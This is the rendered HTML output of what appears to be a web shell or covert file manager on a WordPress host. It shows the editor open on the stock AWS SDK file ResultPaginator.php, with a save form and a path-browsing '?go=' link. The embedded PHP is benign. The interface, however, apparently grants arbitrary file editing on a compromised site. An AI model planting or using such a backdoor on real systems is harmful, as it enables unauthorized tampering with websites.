<p style='color:red'>❌ domains folder not found.</p><h2>✏️ Editing: ResultPaginator.php</h2><form method='post'>
        <textarea name='content' rows='20' cols='100'>&lt;?php
namespace Aws;

use GuzzleHttp\Promise;

/**
 * Iterator that yields each page of results of a pageable operation.
 */
class ResultPaginator implements \Iterator
{
    /** @var AwsClientInterface Client performing operations. */
    private $client;

    /** @var string Name of the operation being paginated. */
    private $operation;

    /** @var array Args for the operation. */
    private $args;

    /** @var array Configuration for the paginator. */
    private $config;

    /** @var Result Most recent result from the client. */
    private $result;

    /** @var string|array Next token to use for pagination. */
    private $nextToken;

    /** @var int Number of operations/requests performed. */
    private $requestCount = 0;

    /**
     * @param AwsClientInterface $client
     * @param string             $operation
     * @param array              $args
     * @param array              $config
     */
    public function __construct(
        AwsClientInterface $client,
        $operation,
        array $args,
        array $config
    ) {
        $this-&gt;client = $client;
        $this-&gt;operation = $operation;
        $this-&gt;args = $args;
        $this-&gt;config = $config;
    }

    /**
     * Runs a paginator asynchronously and uses a callback to handle results.
     *
     * The callback should have the signature: function (Aws\Result $result).
     * A non-null return value from the callback will be yielded by the
     * promise. This means that you can return promises from the callback that
     * will need to be resolved before continuing iteration over the remaining
     * items, essentially merging in other promises to the iteration. The last
     * non-null value returned by the callback will be the result that fulfills
     * the promise to any downstream promises.
     *
     * @param callable $handleResult Callback for handling each page of results.
     *                               The callback accepts the result that was
     *                               yielded as a single argument. If the
     *                               callback returns a promise, the promise
     *                               will be merged into the coroutine.
     *
     * @return Promise\Promise
     */
    public function each(callable $handleResult)
    {
        return Promise\coroutine(function () use ($handleResult) {
            $nextToken = null;
            do {
                $command = $this-&gt;createNextCommand($this-&gt;args, $nextToken);
                $result = (yield $this-&gt;client-&gt;executeAsync($command));
                $nextToken = $this-&gt;determineNextToken($result);
                $retVal = $handleResult($result);
                if ($retVal !== null) {
                    yield Promise\promise_for($retVal);
                }
            } while ($nextToken);
        });
    }

    /**
     * Returns an iterator that iterates over the values of applying a JMESPath
     * search to each result yielded by the iterator as a flat sequence.
     *
     * @param string $expression JMESPath expression to apply to each result.
     *
     * @return \Iterator
     */
    public function search($expression)
    {
        // Apply JMESPath expression on each result, but as a flat sequence.
        return flatmap($this, function (Result $result) use ($expression) {
            return (array) $result-&gt;search($expression);
        });
    }

    /**
     * @return Result
     */
    public function current()
    {
        return $this-&gt;valid() ? $this-&gt;result : false;
    }

    public function key()
    {
        return $this-&gt;valid() ? $this-&gt;requestCount - 1 : null;
    }

    public function next()
    {
        $this-&gt;result = null;
    }

    public function valid()
    {
        if ($this-&gt;result) {
            return true;
        }

        if ($this-&gt;nextToken || !$this-&gt;requestCount) {
            $this-&gt;result = $this-&gt;client-&gt;execute(
                $this-&gt;createNextCommand($this-&gt;args, $this-&gt;nextToken)
            );
            $this-&gt;nextToken = $this-&gt;determineNextToken($this-&gt;result);
            $this-&gt;requestCount++;
            return true;
        }

        return false;
    }

    public function rewind()
    {
        $this-&gt;requestCount = 0;
        $this-&gt;nextToken = null;
        $this-&gt;result = null;
    }

    private function createNextCommand(array $args, array $nextToken = null)
    {
        return $this-&gt;client-&gt;getCommand($this-&gt;operation, array_merge($args, ($nextToken ?: [])));
    }

    private function determineNextToken(Result $result)
    {
        if (!$this-&gt;config['output_token']) {
            return null;
        }

        if ($this-&gt;config['more_results']
            &amp;&amp; !$result-&gt;search($this-&gt;config['more_results'])
        ) {
            return null;
        }

        $nextToken = is_scalar($this-&gt;config['output_token'])
            ? [$this-&gt;config['input_token'] =&gt; $this-&gt;config['output_token']]
            : array_combine($this-&gt;config['input_token'], $this-&gt;config['output_token']);

        return array_filter(array_map(function ($outputToken) use ($result) {
            return $result-&gt;search($outputToken);
        }, $nextToken));
    }
}
</textarea><br>
        <input type='submit' name='content_save' value='💾 Save'>
        </form>
        <hr><a href='?go=%2Fhome%2Fmba%2Fpublic_html%2Fwp-content-20250804013034%2Fplugins%2Fw3-total-cache%2Fvendor%2Faws%2Faws-sdk-php%2Fsrc'>🔙 Back</a>